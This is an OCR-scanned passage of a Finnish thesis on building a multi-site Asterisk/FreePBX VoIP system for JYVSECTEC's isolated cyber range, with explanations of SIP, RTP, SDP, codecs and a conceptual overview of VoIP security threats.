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1 Lahtokohdat

1.1 Toimeksiantaja

JYVSECTEC on Jyvaskylan ammattikorkeakoulun tiloissa toimiva kyberturvallisuuden
tutkimus-, koulutus- ja kehityskeskus. JYVSECTEC yllapitaa ja kehittaa kyberturvalli-
suuden kehitysymparistéa RGCE (Realistic Global Cyber Environment), jossa tuote-
taan kehitys-, testaus- ja koulutuspalveluita yhteistyoverkoston kayttoon. Projektin
tavoitteena on olla Suomen johtavia kyberturvallisuuden kehittamis- ja koulutuskes-

kuksista. (Jyvsectec 2014.)

RGCE — Realistic Global Cyber Environment — on JYVSECTECin suunnittelema ja kehit-
tama kyberturvallisuuden tutkimus-, koulutus- ja kehitysymparistd. RGCE on suunni-
teltu kuvastamaan tosi maailman Internet ymparist6a. Ymparisto on kuitenkin eris-
tetty, joten sen sisalla voidaan toteuttaa haavoittuvuuksien testauksia ja haittaoh-
jelmien kayttoa. Verkkoon generoidaan realistista loppukayttdjaliikennetta JYVSEC-
TECin itse kehittamalla sovelluksella. Verkkoon pystytaan luomaan realistisia organi-
saatioympdristdja ja testaamaan siten niihin kohdistuvia todellisia uhkia ja haavoittu-

vuuksia. (Jyvsectec 2014.)

1.2 Tavoitteet

Opinndytetyon tavoitteena oli tuottaa JYVSECTECille RGCE-ymparistoon globaalisti
toimiva VolP-jarjestelma. Jarjestelman kuului sisdltda monia toimipisteita, joista yksi
toimii call centerina. Call centerissa puhelut ohjautuvat eri jonoihin, josta puheluita
voidaan poimia ja vastata niihin. Varsinaisen jarjestelman toteuttamisen lisdksi tar-
koituksena oli testata menetelmia, joilla voidaan aiheuttaa hairiota luotuun ymparis-

toon.



2 Ainen siirto tietoverkossa

2.1 Voice over Internet Protocol

2.1.1 Yleista

VolP, eli Voice over Internet Protocol, on termi, jolla tarkoitetaan danen siirron ver-
kossa mahdollistavia tekniikoita. Nimensa mukaisesti VolP kayttaa IP-protokollan
mukaisia tietoverkkoja, ja dani siirtyy IP-paketteina reaaliaikaisesti. Puhelut kulkevat
siis verkossa digitaalisessa muodossa kuin mika tahansa muukin data, esim. sahko-
postit ja verkkosivut. VolPin etuina pidetddan muuan muassa sita, ettei se tarvitse eril-
listd puhelinverkkoa kuten ennen vanhaan ja se on halpaa. (Voipfone — What is VolP?

n.d.)

VolP jarjestelmia on monenlaisia: ne voivat kasittaa perinteisia poytapuhelimia, kon-
ferenssit mahdollistavia yksikoita ja mobiililaitteita. Paatelaitteiden lisaksi jarjestel-
mat sisaltavat monia komponentteja, mm. yhdyskaytavia, reitittimia, palomuureja ja
protokollia. Palvelunlaatu on olennainen asia VolP-verkon toiminnalle. Monien tieto-
turvaominaisuuksien implementointi voi kuitenkin aiheuttaa selkedn heikkenemisen
palvelun laadussa. VolP on hyvin aikakriittinen reaaliaikaisuutensa vuoksi ja ei taten
siedd suuria hairioita, viivetta ja viiveen vaihtelua. Naita voivat helposti aiheuttaa
mm. palomuurit ja IDS-laitteet (Intrusion Detection System), joten ne taytyy useasti

saataa toimimaan VolP:n kanssa. (Kuhn, Walsh, Fries 2005, 3-4.)

2.1.2 Session Initiation Protocol

SIP, eli Session Initiation Protocol, on sovellustason merkinantoprotokolla yhteyksien
luomista, muokkaamista ja lopettamista varten. Kyseiset yhteydet voivat olla esimer-
kiksi IP-puheluita tai multimediakonferensseja. SIP-viesteja kdytetaan istuntojen

luomiseen, ja niiden perusteella pdatelaitteet pystyvat sopimaan yhteiset parametrit.
SIP on suunniteltu toimimaan UDP:n (User Datagram Protocol) paalla, mutta se toimii
my0Os TCP:n (The Tansmission Protocol) ja TLS:n (Transport Layer Security) kanssa. SIP

signaloi yhteyden, mutta ei itse kuljeta varsinaista mediaa. Tata varten on RTP (Real



Time Transfer Protocol)-protokolla. SIP perustuu kahteen toiseen IETF:n (Internet
Engineering Task Force) standardoimaan protokollaan, jotka ovat HTTP (Hypertext
Transfer Protocol) ja SMTP (Simple Mail Transfer Protocol). Kuten edelld mainitut
protokollat, on SIP myos tekstipohjainen . Tama tarkoittaa sitd, ettd protokollasano-
mat on koodattu selvakieliseksi englanniksi. Esimerkiksi tarkeimpia on SIP-metodi
INVITE, jolla muodostetaan kutsu palvelimen ja asiakkaan valille. (Rosenberg,

Schulzrinne, Johnston, Camarillo, Peterson, Sparks, Handley, Schooler 2012, 8-10.)

SIP-jarjestelmaan kuuluu kahdenalaisia komponentteja, kayttdjaagentti ja verkkopal-
velin. Kayttajaagentti (UA, User Agent) on kayttdjan paatejarjestelma, joka toimii
kahdessa roolissa: asiakkaana ja palvelimena. UA:n asiakasosa UAC (User Agent
Client) lahettaa SIP-pyyntoja. Palvelinosa UAS (User Agent Server) vastaanottaa pyyn-
toja ja lahettda niihin vasteen. Nain ollen kayttaja voi aloittaa ja vastaanottaa puhe-

luita. (Saarelainen 201143, 111.)

SIP-jarjestelman puheluja valittavia verkkopalvelimia on kahdenlaisia, vélityspalveli-
mia (proxy) ja jalleenohjaaviapalvelimia (redirect). SIP proxy-palvelin reitittad pyynto-
ja seuraaville SIP-palvelimelle tai suoraan UA:lle. Pyynnot voivat kulkea UA:lle monen
eri SIP-palvelimen kautta. Vasteet kulkevat taman saman reitin painvastaiseen suun-
taan. Proxy-palvelimet ldhettdvat pyyntoja seka vasteita, joten ne sisaltavat seka asi-
akkaan (UAC) etta palvelimen (UAS). Toinen verkkopalvelintyyppi, eli redirect-
palvelin, ei ohjaa saamiaan pyyntdja toisille palvelimille, vaan se [ahettaa asiakkaalle
vastaukseksi jalleenohjausvasteen, mistd ilmenee seuraavan palvelimen osoite. (Saa-

relainen 20113, 111-112.)

2.1.3 SIP-osoitteet

SIP-istuntoon osallistuvilla taytyy olla osoite, jotta niihin voidaan ottaa yhteys. Kayt-
tajat tunnistetaan SIP URI:n (Universal Resource Identifier) avulla. SIP URI:a voisi ver-
rata sahkopostiosoitteeseen, silla tunniste on muodossa kayttdja@domain.nimi.

Kayttadjan kohdalle voi tulla esimerkiksi jokin kayttajatunnus, puhelinnumero tai oma



nimi. SIP URI voisi siis esimerkiksi olla ”“sip:matias.tilli@esimerkki.fi” tai

”sip:012345678 @esimerkki.fi”. (Saarelainen 2011a, 113.)

SIP URIl:a pystytaan kayttamaan www-sivuilla, jolloin sen klikkaus saa aikaan yhtey-
den muodostuksen kyseiseen osoitteeseen. Tama toimii samaan tapaan kuin sahko-
postin "mailto:” -linkki. SIP pystyy myos kasittelemaan telephony URL-muodossa ole-

via osoitteita esim. "tel:123456789”. (Saarelainen 2011a, 113.)

2.1.4 SIP-sanomat

SIP on asiakas-palvelin-protokolla, jossa asiakas lahettada palvelimelle sanomia ja pal-
velin vastaa niihin vasteella. Huomioitavaa on, etta yleensa likkennoivat laitteet, esim.

UA, toimivat seka palvelimena etta asiakkaana. (Saarelainen 2011a, 116.)

SIP on tekstipohjainen protokolla, ja tdman takia SIP-sanomien otsikot ovat itsestdan
selittavid. Kaikkien SIP-sanomien otsikoissa on yhteinen rakenne, ja niita kdytetaan
yhteyksien muodostamiseen, hallitsemiseen ja lopettamiseen. SIP-sanomia on seu-
raavan laisia: INVITE-pyyntosanomalla aloitetaan istunto. ACK-sanomalla kuitataan,
ettd vaste on otettu vastaan onnistuneesti. BYE-sanomalla lopetetaan istunto.
CANCEL-sanomalla perutetaan ldhetetty pyyntd. REGISTER-sanomalla kayttdja voi
rekisteroitya palvelimelle. OPTIONS-sanomalla tiedustellaan palvelimelta sen kyky;ja.
Kuviossa 1 on esimerkiksi avattu Wireshark-ohjelmalla kaapattu SIP-sanoma

"INVITE”. (Saarelainen 2011a, 116.)

Frame 548: 867 bytes on wire (6936 bits), B67 bytes captured (6936 bits)
Ethernet II, Src: Silicom_0l:6e:bd (00:e0:ed:01:6e:bd), Dst: Castlene_00:34:56 (00:30:54:00:34:56)
Internet Protocol version 4, Src: 192.168.1.2 (192.168.1.2), Dst: 212.242.33.35 (212.242.33.35)
User Datagram Protocol, 5Src Port: 5060 (5060), Dst Port: 5060 (5060)
session Initiation Protocol [(INVITE)]|
7 [Request-Line: INVITE sip:0007239287044@s1p.cybercity.dk sIP/2.0
% Message Header
-] Message Body
+ Sessijon Description Protocol

1 H H FH

Kuvio 1. Avattu SIP-sanoma ”"INVITE”

Edelld mainittuihin SIP-sanomiin vastataan aina vasteella, jona toimii kolminumeroi-

nen luku. Vasteen ensimmainen numero kertoo, mika on sen yleinen syy, ja loput
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kaksi numeroa tarkentavat tatd. Taulukossa 1 on listattu vasteiden koodit, selitys ja

kategoria, mihin ne kuuluvat. (Saarelainen 2011a, 116-119.)

Taulukko 1. Vasteiden kategoria, koodi ja selitys

[Kategoria [Koodi [Selitys | [Kategoria [Koodi [Selitys
[Informaatio 100|Trying [Pyyntd epaonnistunut A00|Bad request
180|Ringing 401|Unauthorized
181|Call is being forwarded 402|Payment required
1832|Queued 403|Forbidden
183|Session progress AD4|Not found
405|Methed not allowed
[Onnistunut vaste 200|0K 406|Not acceptable
202|Accepted 407|Proxy authentication required
408|Request timeout
[Jalleenohjausvasteet 300{Multiple choices 410|Gone

301

Moved permanently

302

Moved temporarily

305

Use proxy

380

Alternative senvice

[Palvelin epaonnistunut

500

Server internal error

501

Mot implemented

502

Bad gateway

503

Senice unavailable

504

Server timeout

505

Version not supported

513

Message too large

580

Precondition Failure

[Yleinen epdonnistuminen

600

Busy everywhere

603

Decline

604

Does not exist anywhere

606

Mot acceptable

2.1.5 Real Time Transport Protocol

412

Conditional request failed

413

Request entity too large

414

Request-URI too long

415

Unsupported media type

418

Unsupported URI scheme

417

Unknown Resource-Priority

420

Bad extension

421

Extension required

422

Session interval too small

423

Interval too brief

429

Provide referrer identity

430

Temporarily unavailable

481

Call/Transaction does not exist

452

Loop detected

433

Too many hops

434

Address incomplete

485

Ambiguous

456

Busy here

457

Request terminated

488

Mot acceptable here

459

Bad event

491

Request pending

493

Undecipherable

494

Security agreement required

RTP, eli Real Time Transport Protocol, on protokolla, jota kdytetdan reaaliaikaiseen

sisallon kuljetukseen. RTP on suunniteltu alun perin multimedia konferensseja var-

ten, mutta sitd voidaan hyodyntdaa myos muun muassa hallintasovellutuksissa ja

verkkopeleissa. RTP on kaksiosainen protokolla, joka koostuu RTP:std ja RTCP:sta

(Real Time Transport Control Protocol). RTP hoitaa protokollassa reaaliaikaisen datan

kuljetuksen ja RTCP tarkkailee yhteyden laatua seka kuljettaa osallistujatietoja istun-

nosta. RTP on istuntokerros protokolla, joten se tarvitsee alleen kuljetus ja verkko-

kerroksen protokollat. RTP on tehty alun perin protokolla riippumattomaksi, eli sita
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voidaan kayttaa esim. ATM- ja Ethernet-protokollapinojen kanssa. (Saarelainen

2011a, 205.)

RTP:n ominaisuuksia ovat jarjestysnumeroiminen, liikenne tyypin kertominen ja siir-
tyvan datan aikaleimaaminen. Liikenteen jarjestysnumeroinnin ansiosta RTP ei tarvit-
se alleen verkkoa joka takaa kehysten oikean jarjestyksen, vaan sovellukset voivat
numeroinnin avulla laittaa kehykset oikeaan jarjestykseen. Aikaleimojen perusteella
sovellus pystyy tulostamaan oikein ajoitettuna mediavirran. Sovellukset kayttavat
aikaleimoja hyvakseen synkronoidessaan kahta eri mediavirtaa, esim. videopuhelu,

jossa kuva ja aani taytyy synkronoida. (Saarelainen 2011a, 206.)

Seuraavassa kuviossa 2 on Wireshark-ohjelmalla kaapattu RTP-paketti. Version-
kentalla erotetaan vanha ja nykyinen RTP-versio. CSRC-kentta (Contributing Source
identifiers count) kertoo mahdolliset l[ahettdjan ja CSRC:n valissa olevat RTP-
yhdyskaytavat. Payload-type-kentdssa kerrotaan miten hydtykuormaa tulisi tulkita,
tassa tapauksessa siirrettdava aani on ITU-T G.711 standardin koodekilla koodattua.
Sequence number-kentdssa on paketin jarjestysnumero. Timestamp on paketin aika-
leima. Syncronization Source identifier on 32-bittinen sattumanvarainen luku, joka

kertoo mediavirran ldhettdjan. (Saarelainen 2011a, 207.)

Frame 624: 214 bytes on wire (1712 bits), 214 bytes captured (1712 bits)
Ethernet II, src: 5ilicom_0l:6e:bd (00:e0:ed:01:6e:bd), Dst: Ccastlene_00:34:56 (00:30:54:00:34:56)
Internet Protocol version 4, Src: 192.168.1.2 (192.168.1.2), Dst: 212.242.33.36 (212.242.33.36)
User Datagram Protocol, Src Port: 30000 (30000), Dst Port: 40392 (40392)
rReal-Time Transport Protocol
+ [5tream setup by SDP (frame 620)]

10.. .... = [version: RFC 1889 version (2)]
. . padding: False
Cees Extension: False

0000 =[Contributing source identifiers count: 0]

0... .... = Mmarker: False
[PayToad type: ITU-T G.711 PCMA (8)]
| Sequence number: 28590

[Extended sequence number: 94126]
[Timestamp: 1240
| Synchronization Source identifier: 0x3796ch71 (932629361) |

Payload: d5d5dsd5dsdsdsdsdsdsdsdsdsdsdsdsdsdsdsdsdsdsdsds. ..

NN GENERENE

- o
oo

Kuvio 2. Avattu RTP-paketti.

Jokainen RTP-istuntoon osallistuva lahettaa tietyn ajan valein RTCP-paketteja kaikille
istuntoon osallistuville. Pakettien avulla sovellukset tarkkailevat yhteyden laatua ja

suorituskykya. RTCP-paketeissa on |ldhettdja ja vastaanottaja tietoja, joissa kerrotaan
mm. ldhetetyistad paketeista, hdvinneista paketeista ja jitterista. Pakettien perusteella

tunnistetaan RTP-ldhteen tunnistettu nimi CNAME (canonical name), joka voi olla
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esim. laitteen DNS-nimi, sdhkopostiosoite tai puhelinnumero. Talla pidetdan kirjaa
istuntoon osallistujista. Paketeissa saddellaan myos RTCP-liikenteen maaraa, jotta se
ei ruuhkauta verkkoa. Paketeissa voi kulkea istuntoon osallistujille valinnaisia tietoja

kuten esimerkiksi istuntoon osallistujien nimet. (Saarelainen 2011a, 208-209.)

RTP-paketteja on viisi erilaista. SR, eli Sender report, pitaa sisdllaan lahettdjan tietoa
meneilldaan olevasta istunnosta. RR, eli Receiver report, on vastaanottajan viesti joka
sisaltaa tietoa istunnosta. SDES, eli Source description items, sisaltda tietoa jolla Ia-
hettdja tunnistetaan (CNAME). BYE on ilmoitus siitd, etta lopetetaan osallistuminen
istuntoon. APP-paketti sisdltaa sovelluksien omia toimintoja. Kuviossa 3 on avattuna
SR RTCP-paketti Wireshark-ohjelmalla. Siita nahddaan mita tietoa paketeissa kulkee.
(Saarelainen 20114, 209.)

Frame 356: 94 bytes on wire (752 bits), 94 bytes captured (752 bits)
Ethernet II, Src: Cisco_91:64:60 (00:08:21:91:64:60), Dst: 3Com_22:20:17 (00:04:76:22:20:17)
Internet Protocol version 4, src: 10.1.6.18 (10.1.6.18), Dst: 10.1.3.143 (10.1.3.143)
User Datagram Protocol, Src Port: 2007 (2007), Dst Port: 5001 (5001)
Real-time Transport Control Protocol (Sender Report)
= [Stream setup by H245 (frame 31)]
[Setup frame: 31]
[setup Method: H245]
10.. ... version: RFC 1889 version (2)
00 e Padding: False
...0 0000 Reception report count: 0
Packet type: Sender Report (200)
Length: & (28 bytes)
sender SSRC: 0xf3ch2001 (4090175489)
Timestamp, MSwW: 2209022881 (0x83ab03al)
Timestamp, LSW: 3942779706 (0Oxeb020b3a)
[M5W and L5W as NTP timestamp: Jan 1, 1970 09:28:01.917999000 UTC]
RTP timestamp: 37920
sender’s packet count: 158
Sender’s octet count: 39816
-] Real-time Transport Control Protocol (Source description)
= [Stream setup by H245 (frame 31)]
[setup frame: 317
[Setup Method: H245]
10.. .... version: RFC 1889 version (2)
00 e Padding: False
...0 0001 = Source count: 1
Packet type: Source description (202)
Length: 5 (24 bytes)
4 Chunk 1, sSsSRC/CSRC OxF3CB2001
[RTCP frame length check: OK - 52 bytes]

T FEFHFEE

Kuvio 3. Avattu RTCP-paketti.

2.1.6 Session Description Protocol

SDP-protokollaa, eli Session Description Protocol, kdytetdan istunnon parametrien
maarittamiseen. SDP-sanomat siirtyvat SIP-sanomien mukana. SDP:1Ia kulkevia tietoja
ovat istunnossa kdytettavat mediat ja niihin liittyvat tiedot, kuten esimerkiksi osoit-

teet, portit ja eri formaatit. (Saarelainen 2011a, 120.)
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SDP:1I3 kulkevien tietojen perusteella vastaanottaja tekee paatdksen osallistuuko se
istuntoon. SDP:lta saadun tiedon avulla vastaanottaja tietaa milloin ja miten istun-
toon liitytadan. SDP-viestissa voidaan listata useita eri medioita ja versioita kaytetta-
vaksi istunnossa. UAS katsoo tukeeko se jotain naistd, ja ndin ollen pystyyko se liitty-
maan istuntoon. UAS voi tarvittaessa vastata takaisin viestilla johon se on listannut
itse tukemansa parametrit. Se miten parametrit maaraytyvat, riippuu siitd minkalai-
seen arvojarjestykseen ne on maaritelty kummassakin paassa. Kuviossa 4 on Wi-
resharkilla avattuna SDP-viestin tiedot. Kuviossa on avattu viestin Media Description
tiedot, joissa nakyy listattuna useita eri parametreja jotka kelpaavat viestin lahetta-

jalle. (Flanagan 2012, 101-103.)

Frame 223: 864 bytes on wire (6912 bits), 864 bytes captured (6912 bits)
Ethernet II, src: 5ilicom_0l:6e:bd (00:e0:ed:01:6e:bd), Dst: Castlene_00:34:56 (00:30:54:00:34:56)
Internet Protocol version 4, src: 192.168.1.2 (192.168.1.2), Dst: 200.68.120.81 (200.68.120.81)
User Datagram Protocol, 5Src Port: 5060 (5060), Dst Port: 5060 (50600
session Initiation Protocol (INVITE)
4 Request-Line: INVITE sip:97239287044@voip.brujula.net s1p/2.0
4 Message Header
- Message Body
- Session Description Protocol
session Description Protocol version (v): O
i Owner /Creator, Session Id (o): SIPPS 105015165 105015162 IN IP4 192.168.1.2
Session Name (s): SIP call
i Connection Information (c): IN IP4 192.168.1.2
4 Time Description, active time (t): 0 0
-l Media Description, name and address (m): audio 30000 RTP/AVP O 8 97 2 3
Media Type: audio
Media Port: 20000
Media Protocol: RTP/AVP
Media Format: ITU-T G.711 PCMU
Media Format: ITU-T G.711 PCMA
Media Format: DynamicRTP-Type-97
Media Format: ITU-T G.721
Media Format: GSM 06.10
Media Attribute (a): rtpmap:0 pcmu/8000
Media Attribute (a): rtpmap:8 pcma/8000
Media Attribute (a): rtpmap:97 iLBEC/B000
Media Attribute (a): rtpmap:2 G726-32/8000
Media Attribute (a): rtpmap:3 GSM/8000

10 EHEE

FEEEE

Kuvio 4. SDP-viestin tiedot.

2.1.7 Ainen koodaus

Puhelun aikana danesta otetaan ndytteita 8000 kertaa sekunnissa. Tama tarkoittaa
sitd, ettd yhden puhelun tarvitsema kaista olisi 64 kbit/s. Koodekkien tehtavana on
pakata tata dantd, jotta puhelut vievat vihemman kaistaa. Pakkaamisen tulee tapah-
tua kuitenkin niin etta danenlaatu laskisi mahdollisimman vahan. Pakatut puhelut
saadaan tiivistettya tarvitsemaan kaistaa vain 5-15 kbit/s, ilman etta ddnenlaatu las-
kee havaittavasti. Pienempi kaistan tarve mahdollistaa myds useammat puhelut sa-

maan aikaan. (Saarelainen 2011a, 186-187.)
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PCM-koodauksen (Pulse Code Modulation) taajuus on 8kHz, eli ndytteitd otetaan
8000 kertaa sekunnissa, kuten dsken mainittiin. Jokaista naytetta kuvataan siis kah-
deksalla bitilla. PCM-koodaus on maaritelty ITU-T:n G.711 standardissa ja se on ylei-
sesti kdytetty VolP-sovelluksissa ja kiintedssa puhelinverkossa. Jokaista naytetta ku-
vataan kahdeksalla bitilla. PCM-koodauksen jokainen nayte on toisista riippumaton,
joten sen paketinhavikin sietokyky on hyva. PCM-koodauksen kaistan tarve on melko
suuri, mutta danenlaatu on hyva. G.711 korostaa danessa olevien heikompien pu-
hesignaalien suhteellisia eroja. Tasta signaalin muokkauksesta on olemassa kaksi eri
algoritmia, joita kaytetaan, U-law ja A-law. U-law on kaytdssa Pohjois-Amerikassa
seka Japanissa, kun taas A-Law on kaytdssa muualla maailmassa. (Saarelainen 20113,

192.)

G.726 on ITU-T:n maarittelema koodekki. Se kdyttdaa ADPCM-jarjestelmaa (Adaptive
Differential Pulse Code Modulation). Sita kaytetdaan paaasiassa kansainvalisissa run-
koverkoissa kaistan sadstamiseksi. G.726 kayttaa kaistaa 32 kbit/s, ja sen danenlaatu
on lahes yhta hyva kuin G.711 standardin. G.726 voi toimia 16 kbit/s, 32 kbit/s tai 40
kbit/s bittinopeudella, mutta 32 kbit/s on yleisesti kaytdssa oleva de facto standardi.

(ITU G.726 2006.)

Koodekkeja on olemassa myds kaupallisia versioita. Yksi kdaytetyimmista sellaisista on
G.729. Se tarvitsee kaistaa vain 8 kbit/s. Se ei kuitenkaan kykene valttamatta faksien
ja DTMF danien kuljettamiseen ja on herkempi pakettien haviamiselle. (Saarelainen

2011a, 192.)

GSM-verkoissa kaytettavia GSM Full Rate ja Half Rate koodauksia voidaan soveltaa
myo6s VolP kayttdéon, ja ne ovat yleensa tuettuja VolP-sovelluksissa. GSM Full Raten
nopeus on 13kbit/s ja Half Raten on 5.6kbit/s. Koodauksien kayttoon voidaan siirtya,

kun siirtotie on jostain syysta tukkeutunut ja vikaantunut. (Saarelainen 2011a, 194.)



15

2.2 Tietoturva ja hyokkaykset

2.2.1 Yleista

IP-puheeseen kohdistuvat uhkat voivat hyvin erilaisia. Monet uhat jotka kohdistuvat
IP-puheeseen, kohdistuvat myos muihin palvelin- ja verkkosovelluksiin. IP-puheen
tietoturvan yhteistyoelin VOIPSA (Voice Over IP Security Alliance) on jakanut tieto-
turvauhat neljaan eri kategoriaan: sosiaaliset uhat, ei-toivotut yhteydet, salakuuntelu
ja vaaramuotoiset pyynnot/sanomat. Sosiaalisia uhkia ovat mm. vaarana henkilona
esiintyminen ja vaarien oikeuksien esittaminen. Ei toivottuja yhteyksia voivat olla
mm. kaikenlainen hairinta ja ei toivottu laillinen materiaali, kuten VolP-spam. Sala-
kuunteluun kuuluvat keskustelujen kuuntelun ja niiden tallennuksen lisaksi mm. kes-
kustelujen muuttaminen seka palvelun vaarinkaytokset. Vaaramuotoisiin pyyntoi-
hin/sanomiin kuuluvat mm. ARP-spoofing ja palvelimen vaarennys. (Saarelainen

2011b, 215-217.)

SIP-signalointi ja RTP-media pystytaan salaamaan monilla eri tavoilla. Jokainen me-
nettely tarvitsee kuitenkin tuen laitteilta seka taman lisdksi useissa tapauksissa PKI-
jarjestelman (Private Key Infrastructure). Monen eri laitevalmistajan laitteilla toimi-
van ympadriston rakentaminen on haasteellista puhumattakaan siita, ettd yhteys ote-
taan valmistelematta kolmannen osapuolen kanssa. Salaus on paras tapa RTP-
mediaan ja SIP-merkinantoon liittyvien hyokkadyksien estamiseksi. Saman laitevalmis-
tajan jarjestelmissa salaus onnistuu usein helposti, mutta haasteena on salausmenet-
telyiden vakiintumattomuus eri valmistajien laitteiden vililla. (Saarelainen 2011b,

226.)

2.2.2 Puhejarjestelmien komponentteja ja niiden uhkia

Kayttojarjestelmat
Tyypillisesti IP-puhelinjarjestelmien sovellusalustoina toimivat Linux sekd Microsoft
Windows kuten muissakin palvelinsovelluksissa. Naista yritys- ja operaattoripalveli-

missa selkedsti yleisempi on Linux. Puhepalvelimissa on samat uhat ja haavoittuvuu-
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det kuin muissakin palvelinsovelluksissa, ja ndin ollen niihin toimivat myos samat

parannuskeinot. (Saarelainen 2011b, 214.)

IP-puhesovellus

IP-puhesovelluksia on monia erilaisia: seka asiakasohjelmia ja palvelimia. Sovelluksia
saattavat vaivata bugit, erilaiset ohjelmointivirheet tai heikosta ohjelmointitapaan
liittyvat haavoittuvuudet. Myos sovelluksiin asetettavat salasanat voivat aiheuttaa

haavoittuvuuden, jos ne tehdaan liian heikoiksi. (Saarelainen 2011b, 214.)

Hallintaliittyma

IP-puhelaitteita voidaan hallita SNMP-protokollalla (Simple Network Management
Protocol) tai erilaisilla kayttoliittymilla, jotka toimivat SSH:n (Secure Shell), Telnetin
tai HTTP:n (Hyper Text Transfer Protocol) avulla. Kyseiset liitdnnat voivat aiheuttaa
haavoittuvuuksia heikosti konfiguroituina. Oletussalasanat ja oletustunnistuksen

kaytto ovat perinteisia aukkoja tassa. (Saarelainen 2011b, 214.)

TFTP-palvelin
IP-puhepaatelaitteiden konfigurointitiedot tulevat usein laitteille TFTP-palvelimelta.
Tata voidaan hyvaksikayttaa selvittamalla TFTP-palvelin ja sen jalkeen teeskentele-

malla tatd. Nain saadaan vaaria konfiguraatioita jakoon. (Saarelainen 2011b, 214.)

Verkon aktiiviset komponentit

Liikenne verkoissa kulkee kytkinten ja reitittimien kautta. Jos hyokk&aja saa tallaisen
laitteen haltuun, on hanella myos kontrolli 1api kulkevaan dataan. Esimerkiksi kytki-
mesta voidaan maarittaa jokin portti monitorointiportiksi, johon haluttujen porttien
lilkenne ohjataan. Jos on mahdollisuus paasta fyysisesti signaalitielle, on helppoa
tavallisen ethernet-toistimen, eli hubin, avulla ndhda linjalla kulkeva liikenne. (Saare-

lainen 2011b, 215.)

Verkko

Verkko itsessdan voi olla puheliikennetta haittaava sen hallitsemattoman liikenteen
takia. Kyseessa voi olla aivan normaali tai haittaliikenne. Muu liikenne saattaa vieda
kaiken kaistan puheliikenteeltd, ja haittaliikenteelld pystytaan tekemaan palvelunes-
tohyokkayksia. Myos joidenkin bugien avulla voidaan tayttaa jokin verkkolaite turhal-

la liikenteell3. (Saarelainen 2011b, 215.)
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Protokollapino

IP-puheprotokollapinoissa ainakaan alun perin tietoturva ei ole ollut kovin tarkedssa
osassa. Esimerkiksi SIP-protokolla salli ensimmaisessa versiossaan selvakieliset sala-
sanat tunnistusta varten. Protokollapinot saattavat sisdltaa tiedettyja aukkoja esim.
salakuuntelua varten, ja nama seikat tulisi ottaa huomioon verkkoa toteutettaessa.

(Saarelainen 2011b, 215.)

2.3 Kaytetyt ohjelmistot

2.3.1 Asterisk

Asterisk on avoimen lahdekoodin ohjelmisto, jolla voidaan toteuttaa viestintajarjes-
telmia. Asteriskilla on mahdollista toteuttaa erilaisia VolP-jarjestelman palveluita,
kuten VolP-puhelut/konferenssipuhelut ja valityspalvelut. Asterisk on kdytossa maa-
ilmanlaajuisesti yli miljoonassa puhelinjarjestelmassa, ja sita kayttavat eri kokoiset
yritykset, palveluntarjoajat ja valtionvirastot. Asterisk-projektin aloitti vuonna 1999
Mark Spencer, mutta nykypaivana projektia yllapitavat yhdessa Digium inc. sekd As-

terisk-yhteiso. (Get Started n.d.)

Asteriskista on tarjolla kaksi eri ilmaisversiota: Asterisk Communications Framework
seka AsteriskNOW Software PBX. Communications Framework -versio sisaltaa pelkan
puhelinvaihdeohjelmiston. AsteriskNow versiossa on taman lisaksi valmiina mukana

CentOS-kayttojarjestelma ja FreePBX-kayttoliittyma. (Download n.d.)

2.3.2 FreePBX

FreePBX on avoimen ldhdekoodin graafinen kayttoliittyma puhelinkeskussovelluksia
varten. Yllapidosta vastaa FreePBX-yhteis0®, joka koostuu useista kehittajista ja avus-
tajista. Sponsoreina toimivat mm. Sangoma Technologies ja Digium inc. Toiminnan

pdadamaarana on tehda monimutkaisista puhelinjarjestelmista helposti kdytettavia ja

toimivia. (History n.d.)

FreePBX Distro, joka sisaltdaa valmiin asennuspaketin, on tarjolla ilmaiseksi FreePBX-

yhteison kotisivuilta. Asennuspaketissa tulee mukana CentOS-kayttojarjestelma, As-
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terisk-puhelinvaihdeohjelmisto ja FreePBX-graafinenkdyttoliittyma. (FreePBX Distro
n.d.)

2.3.3 Asternic

Asternic Call Center Stats on ohjelmisto, jolla voidaan seurata Asteriskin jonojen sta-
tistiikkaa, kuten puheluiden maara, kestoa ja jakautumista vastaajien kesken. Aster-
nicista on saatavilla kaksi eri versiota: Lite ja Pro. Lite on avoimen ldhdekoodin ilmai-

nen versio, kun taas Pro on kaupallinen versio. (About n.d.)
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3 Jarjestelman toteutus

3.1 Jarjestelman suunnittelu

Opinndytetyon tavoitteena oli tehda globaalisti toimiva VolP-jarjestelma. Jarjestel-
man tuli sisdltdd monia toimipisteita, joista yksi toimii call centerina ja jarjestelman
paatoimipaikkana. Kaytettyjen ohjelmistojen tuli olla avoimen ldhdekoodin ohjelmis-
toja. Ohjelmistoiksi valikoituivat Asterisk, FreePBX ja Asternic. Nailla ohjelmilla palve-
limiin saatiin kaikki tarpeelliset ominaisuudet ja toiminnot. Palvelinten maaraa ei

ollut maaratty, joten niita paatettiin tehda nelja ja sijoittaa ne Iso-Britanniaan, Suo-

meen, Ranskaan ja Kiinaan. Kuvio 5 havainnollistaa tehtya suunnitelmaa.

o i

Palveli

Ivelin 4. Kiina

VolP-puhelin

VolP-puhelin

Kuvio 5. Puhelinjarjestelman suunnitelma
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Jarjestelman puhelinnumeroiden tuli toimia kuten tosi maailmassakin, joten jokaisel-
le palvelimelle on omat suuntanumerot, puhelinnumeroiden pituus ja rakenne seu-
raavat samaa linjaa. Taulukosta 2 nahdaan jokaisen maan suuntanumero seka esi-

merkkipuhelinnumero.

Taulukko 2. Palvelinten sijainti, suuntanumero ja esimerkkinumero

Sijainti Suuntanumero Esimerkki numero
Iso-Britannia 44 010123456
Suomi 358 0201234567
Ranska 33 0301234567
Kiina 86 040123456

Kaikki palvelinten sisdiset puhelut, eli maan sisdiset puhelut, tapahtuvat ilman suun-
tanumeroa soittamalla suoraan kayttajan numeroon, esim. 010123456. Jos halutaan
soittaa jollain toisella toimipaikalla olevaan numeroon, eli toiseen maahan, poiste-
taan 0 puhelinnumeron edesta ja lisatdan suuntanumero, esim. 4410123456. Esi-
merkkinumerot ovat antamassa mallin siitd, minka pituisia puhelinnumerot ovat mis-
sakin maassa. Palvelimilla olevat puhelinnumerot voivat kuitenkin olla minka muotoi-
sia tahansa, ja eri palvelimilla voi olla samoja numeroita. Esimerkiksi Iso-Britannian ja
Suomen palvelimilla voi kummallakin olla puhelinnumero 010123456 ja tama ei ole

ongelma, silla puhelu ei ohjaudu toiselle palvelimelle ilman suuntanumeroa.

3.2 FreePBX Distro asennus

Ty0 aloitettiin asentamalla FreePBX distro jokaiselle palvelimelle. Distro sisaltda Cen-
